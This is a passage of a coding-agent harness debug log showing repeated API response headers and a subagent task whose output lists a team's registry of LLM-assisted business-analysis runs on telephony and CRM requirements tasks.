\"req_011CfXMjH3PgxwSnTsMAc7t9\"\n[2026-09-29T07:45:08.407Z] [INFO] }\n[2026-09-29T07:45:08.466Z] [STDOUT] [log_5fce0b, request-id: \"req_011CfXMjRY7sPjAeAeDFMYdT\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 887ms\n[2026-09-29T07:45:08.475Z] [STDOUT] [log_5fce0b] response start {\n[2026-09-29T07:45:08.479Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:08.513Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:08.521Z] [STDOUT]   headers: {\n[2026-09-29T07:45:08.533Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:08.538Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:08.543Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:08.548Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:08.554Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:08.561Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:08.566Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:08.571Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:08.580Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:08.590Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:08.595Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:08.601Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:08.610Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:08.622Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:08.633Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:08.644Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:08.668Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:08.702Z] [STDOUT]     \"cf-ray\": \"a4295dd0ac024d8b-FRA\",\n[2026-09-29T07:45:08.724Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:08.728Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:08.733Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:08.735Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:08.738Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:07 GMT\",\n[2026-09-29T07:45:08.741Z] [STDOUT]     \"request-id\": \"req_011CfXMjRY7sPjAeAeDFMYdT\",\n[2026-09-29T07:45:08.745Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:08.749Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:08.752Z] [STDOUT]     traceresponse: \"00-9da728d3e7662fa4c84175ae18005a6d-87bac7bc54f232fb-01\",\n[2026-09-29T07:45:08.768Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:08.783Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:08.787Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:08.793Z] [STDOUT]   },\n[2026-09-29T07:45:08.797Z] [STDOUT]   durationMs: 887,\n[2026-09-29T07:45:08.801Z] [STDOUT] }\n[2026-09-29T07:45:08.810Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:08.815Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:07 GMT\",\n[2026-09-29T07:45:08.824Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:08.827Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:08.832Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:08.849Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:08.859Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:08.865Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:08.868Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:08.876Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:08.880Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:08.883Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:08.887Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:08.889Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:08.895Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:08.900Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:08.906Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:08.912Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:08.916Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:08.919Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:08.923Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:08.926Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:08.941Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:08.952Z] [STDOUT]   \"request-id\": \"req_011CfXMjRY7sPjAeAeDFMYdT\",\n[2026-09-29T07:45:08.959Z] [STDOUT]   \"traceresponse\": \"00-9da728d3e7662fa4c84175ae18005a6d-87bac7bc54f232fb-01\",\n[2026-09-29T07:45:08.963Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:08.969Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:08.975Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:08.982Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:08.984Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:08.986Z] [STDOUT]   \"cf-ray\": \"a4295dd0ac024d8b-FRA\",\n[2026-09-29T07:45:08.990Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:08.992Z] [STDOUT] [log_5fce0b] response parsed {\n[2026-09-29T07:45:08.995Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:09.004Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:09.011Z] [STDOUT]   body: X {\n[2026-09-29T07:45:09.018Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:09.022Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:09.030Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:09.035Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:09.038Z] [STDOUT]     },\n[2026-09-29T07:45:09.048Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:09.055Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:09.059Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:09.062Z] [STDOUT]   },\n[2026-09-29T07:45:09.085Z] [STDOUT]   durationMs: 888,\n[2026-09-29T07:45:09.095Z] [STDOUT] }\n[2026-09-29T07:45:09.102Z] [INFO] {\n[2026-09-29T07:45:09.102Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"task_id\": \"b2ptpvaoq\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"owned_by_subagent\": true,\n[2026-09-29T07:45:09.102Z] [INFO]   \"tool_use_id\": \"toolu_01GoabRAjszwBBKqBmXLAo1p\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"description\": \"Parse all run metadata\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T07:45:09.102Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"uuid\": \"f86f50dd-2bed-482c-ae86-fa68bd2ba0f5\",\n[2026-09-29T07:45:09.102Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:09.102Z] [INFO] }\n[2026-09-29T07:45:09.108Z] [INFO] {\n[2026-09-29T07:45:09.108Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"task_id\": \"b2ptpvaoq\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"tool_use_id\": \"toolu_01GoabRAjszwBBKqBmXLAo1p\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"summary\": \"Parse all run metadata\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"uuid\": \"6302820b-160a-401e-8fbc-a07650d324f9\",\n[2026-09-29T07:45:09.108Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:09.108Z] [INFO] }\n[2026-09-29T07:45:09.120Z] [INFO] {\n[2026-09-29T07:45:09.120Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:09.120Z] [INFO]   \"message\": {\n[2026-09-29T07:45:09.120Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:09.120Z] [INFO]     \"content\": [\n[2026-09-29T07:45:09.120Z] [INFO]       {\n[2026-09-29T07:45:09.120Z] [INFO]         \"tool_use_id\": \"toolu_01GoabRAjszwBBKqBmXLAo1p\",\n[2026-09-29T07:45:09.120Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:09.120Z] [INFO]         \"content\": \"RUN-0001 2026-05-26 execution experimental | not-recorded | BA/AI | prompt-experiment\\nRUN-0002 2026-05-26 execution partial-success | not-recorded | BA/AI | user-story-generation\\nRUN-0003 2026-05-26 execution partial-success | not-recorded | BA/AI | usecase-generation\\nRUN-0004 2026-05-26 statistics draft | not-recorded | BA/AI | prompt-audit\\nRUN-0005 2026-05-26 statistics draft | not-recorded | BA/AI | prompt-selftest\\nRUN-0006 2026-06-13 execution success | not-recorded | BA/AI | session-debug-documentation\\nRUN-0007 2026-06-16 execution works-with-edits | not-recorded | BA/AI | fr-generation\\nRUN-0008 2026-06-16 statistics draft | not-recorded | BA/AI | kb-citation-check\\nRUN-0009 2026-06-16 statistics draft | not-recorded | BA/AI | industry-standards-ab-check\\nRUN-0010 2026-06-17 statistics works-with-edits | qwen3.7 plus | BA-IH + LLM | bcreq-1025-email-routing\\nRUN-0011 2026-06-18 execution works-with-edits | not-recorded | BA-IH + LLM | multichannel-agent-workload\\nRUN-0012 2026-07-14 execution works-with-edits | claude-opus-4-8 | BA-IH + LLM | bcreq-1069-restricted-api-key\\nRUN-0013 2026-07-31 statistics works-with-edits | qwen3.7-plus + qwen3.8-max-preview | BA-IH + LLM | bcreq-1059-multichannel-slots-limits\\nRUN-0014 2026-07-24 statistics partial-success | qwen3.7-plus | BA-IH + LLM | task-1075-amocrm-deal-on-call\\nRUN-0015 2026-08-21 statistics works-with-edits | qwen3.6-plus | BA-IH + LLM | fr-validation-57204-ivr-scheme-amocrm-rule\\nRUN-0016 2026-08-21 statistics works-with-edits | qwen3.6-plus | BA-IH + LLM | fr-drafting-58093-amocrm-deal-card-new-tab\\nRUN-0017 2026-07-24 statistics works-with-edits | qwen3.7-plus + qwen3.8-max-preview | BA-IH (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f: AI issue solver) | task-1076-vks-artifacts-bpmsoft\\nRUN-0018 2026-07-21 statistics works-with-edits | qwen3.7-plus | BA-IH + LLM | fr-validation-1079-messenger-id-search\\nRUN-0019 2026-07-15 statistics works-with-edits | qwen3.7-plus | BA-IH + LLM | bcreq-1064-browser-softphone-in-mis\\nRUN-0020 2026-07-10 statistics needs-rework | qwen3.7-plus | BA-IH (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f: AI issue solver) | task-1065-context-and-questions-a7a\\nRUN-0021 2026-07-10 statistics works-with-edits | qwen3.7-plus | BA-IH + LLM | fr-drafting-975-ineffective-call-parameters\\nRUN-0022 2026-08-21 statistics works-with-edits | qwen3.7-plus | BA-IH + LLM | fr-validation-765-headhunter-channel\\nRUN-0023 2026-05-25 statistics partial-success | qwen3.6-plus | BA-IH (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f: AI issue solver) | task-59295-fr-validation-email-forward\\nRUN-0024 2026-05-25 statistics works-with-edits | qwen3.6-plus | BA-IH (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f: AI issue solver) | task-1020-okdesk-mango-integration-questions\\nRUN-0025 2026-05-12 statistics works-with-edits | qwen3.6-plus | BA-IH + LLM | fr-validation-997-ivr-scheme-incoming-call-rules\\nRUN-0026 2026-05-04 statistics works-with-edits | qwen3.6-plus | BA-IH (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f: AI issue solver) | task-1007-amocrm-outbound-campaign-funnel-stage-fr\\nRUN-0027 2026-04-10 statistics works-with-edits | qwen3.6-plus | BA-IH + LLM | fr-analysis-978-email-signature-in-lk\\nRUN-0028 2026-07-01 statistics works-with-edits | qwen3.7-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | fr-validation-1040-speech-analytics-direction-filter\\nRUN-0029 2026-05-13 statistics works-with-edits | qwen3.6-plus | BA-IH + LLM | task-994-bitrix24-lead-title-elicitation\\nRUN-0030 2026-08-22 statistics draft | qwen3.5-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-599-1c-subscriber-selection-on-call\\nRUN-0031 2026-08-22 statistics draft | qwen3-235b-a22b, qwen3-max-preview | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-791-unified-request-entity-deal-ticket\\nRUN-0032 2026-08-22 statistics draft | qwen3-coder-plus, qwen3-max | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-792-post-call-processing-outbound\\nRUN-0033 2026-08-22 statistics draft | qwen-plus-2025-09-11, qwen3-235b-a22b, qwen3-max-preview | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-804-speech-analytics-export-to-external-system\\nRUN-0034 2026-08-22 statistics draft | qwen3-235b-a22b, qwen3-max | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-804-speech-analytics-export-final\\nRUN-0035 2026-08-22 statistics draft | qwen3-235b-a22b | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-806-elma-knowledge-base-recommendations\\nRUN-0036 2026-08-22 statistics draft | qwen3-235b-a22b, qwen3-max-preview | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-817-personal-data-consent-text\\nRUN-0037 2026-08-22 statistics draft | qwen-plus-2025-09-11, qwen3-max, qwen3-max-preview | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-838-preset-call-block-status\\nRUN-0038 2026-08-22 statistics draft | qwen-plus-2025-09-11, qwen3-max | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-854-mtalker-conference-participants-section\\nRUN-0039 2026-08-22 statistics draft | qwen3-max-2025-10-30 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-854-mtalker-conference-participants-fr\\nRUN-0040 2026-08-22 statistics draft | qwen-max-latest, qwen-plus-2025-09-11, qwen3-max, qwen3-vl-30b-a3b | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-872-proactive-chat-retrigger\\nRUN-0041 2026-08-22 statistics draft | qwen3-max-2025-10-30, qwen3-vl-30b-a3b | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-890-bitrix24-call-routing\\nRUN-0042 2026-08-22 statistics draft | qwen3.5-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-892-knowledge-base-page-restore\\nRUN-0043 2026-08-22 statistics draft | qwen3-max-2025-10-30 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-908-open-url-on-call-answer\\nRUN-0044 2026-08-22 statistics draft | qwen3-max-2025-10-30 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-908-open-url-on-call-answer-validation\\nRUN-0045 2026-08-22 statistics draft | qwen3-max-2025-09-23, qwen3-max-2026-01-23 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-915-call-connection-sound-signal\\nRUN-0046 2026-08-22 statistics draft | qwen3-max-2025-09-23, qwen3-max-2026-01-23 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-918-mandatory-call-topics\\nRUN-0047 2026-08-22 statistics draft | qwen3-max-2025-09-23 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-920-meeting-transcript-analysis\\nRUN-0048 2026-08-22 statistics draft | qwen3.6-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-930-amocrm-comment-and-tag-fields\\nRUN-0049 2026-08-22 statistics draft | qwen3-max-2026-01-23 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-935-speech-analytics-api-parameters\\nRUN-0050 2026-08-22 statistics draft | qwen3-max-2026-01-23 | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-942-email-format-painter\\nRUN-0051 2026-08-22 statistics draft | qwen3.5-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-960-call-records-multiselect-filter\\nRUN-0052 2026-08-22 statistics draft | qwen3.5-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-964-ai-robot-on-line\\nRUN-0053 2026-08-22 statistics draft | qwen3.5-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-977-bitrix24-call-attribution\\nRUN-0054 2026-08-22 statistics draft | qwen3.6-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-980-number-replacement-questions\\nRUN-0055 2026-08-23 execution works-with-edits | qwen3.7-plus (\u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c) + claude-opus-5 (\u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e \u0411\u0417) | BA-IH + LLM (\u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0433\u043e\u043d \u0438 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f: AI issue so | tz-feasibility-assessment-utair-chat-mango-office\\nRUN-0056 2026-08-25 execution partial-success | claude-opus-5 | AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410 | gap-analysis-hh-chats-mango-cc-integration-feasibility\\nRUN-0057 2026-08-25 execution partial-success | claude-opus-5 | AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410 | feasibility-assessment-tender-tz-stt-tts-nlu-dialogue-manager\\nRUN-0058 2026-08-26 execution partial-success | claude-opus-5 | AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410 | Re-evaluation: HH.ru Chat API Feasibility\\nRUN-0059 2026-08-26 execution partial-success | claude-opus-5 | AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410 | Architecture Spike: HH.ru Chats \u2194 Mango CC data mapping\\nRUN-0060 2026-08-27 execution success | claude-opus-5 | AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410 | Combined L4 gap report: BA verdicts + SA models + footnoted hh.ru API sources\\nRUN-0061 2026-08-28 statistics draft | qwen3.7-plus | BA-IH + LLM (\u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430: AI issue solver) | task-1090-human-review-of-twin-links\\nRUN-0062 2026-09-01 execution draft | gpt-5.6-sol | AI issue solver | feasibility-assessment-tender-appendices-5-7\\nRUN-0063 2026-08-31 execution invalid | gpt-5.6-sol | AI issue solver | feature-specification-bcreq-1074-communication-expenses-report\\nRUN-0064 2026-08-31 execution draft | gpt-5.6-sol | OpenAI Codex | error-analysis-and-feature-specification-bcreq-1074-report-view\\nRUN-0065 2026-09-01 execution draft | gpt-5.6-sol | AI issue solver | feasibility-assessment-telephony-requirements-task-1099\\nRUN-0066 2026-09-01 execution draft | claude-opus-5 | AI issue solver | feasibility-assessment-telephony-requirements-task-1099\\nRUN-0067 2026-09-03 execution draft | claude-opus-5 | AI issue solver (Claude Code) | feature-specification-bcreq-1074-detailed-export (rework of RUN-0063 by audit)\\nRUN-0068 2026-09-28 execution draft | claude-opus-5-5 | AI issue solver | feasibility-assessment-tender-bcreq-1114-pstn-mobile-access\\nRUN-0069 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\"ff885db6-3a65-40d6-9f7d-07c6f13afe7e\",\n[2026-09-29T07:45:09.775Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:09.775Z] [INFO] }\n[2026-09-29T07:45:09.781Z] [STDOUT] [log_5ffe28, request-id: \"req_011CfXMjYCxNBLXXhzSZqQGj\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 823ms\n[2026-09-29T07:45:09.786Z] [STDOUT] [log_5ffe28] response start {\n[2026-09-29T07:45:09.792Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:09.797Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:09.801Z] [STDOUT]   headers: {\n[2026-09-29T07:45:09.812Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:09.818Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:09.825Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:09.834Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:09.850Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:09.857Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:09.861Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:09.866Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:09.876Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:09.879Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:09.884Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:09.890Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:09.893Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:09.897Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:09.899Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:09.902Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:09.904Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:09.907Z] [STDOUT]     \"cf-ray\": \"a4295ddaafe1dbb5-FRA\",\n[2026-09-29T07:45:09.912Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:09.916Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:09.919Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:09.925Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:09.929Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:09 GMT\",\n[2026-09-29T07:45:09.934Z] [STDOUT]     \"request-id\": \"req_011CfXMjYCxNBLXXhzSZqQGj\",\n[2026-09-29T07:45:09.937Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:09.940Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:09.943Z] [STDOUT]     traceresponse: \"00-ad651084c9f4908baba47ffcd4fe1c8f-51be73680355b3f5-01\",\n[2026-09-29T07:45:09.946Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:09.950Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:09.955Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:09.960Z] [STDOUT]   },\n[2026-09-29T07:45:09.970Z] [STDOUT]   durationMs: 823,\n[2026-09-29T07:45:09.978Z] [STDOUT] }\n[2026-09-29T07:45:09.985Z] [STDOUT] response 200 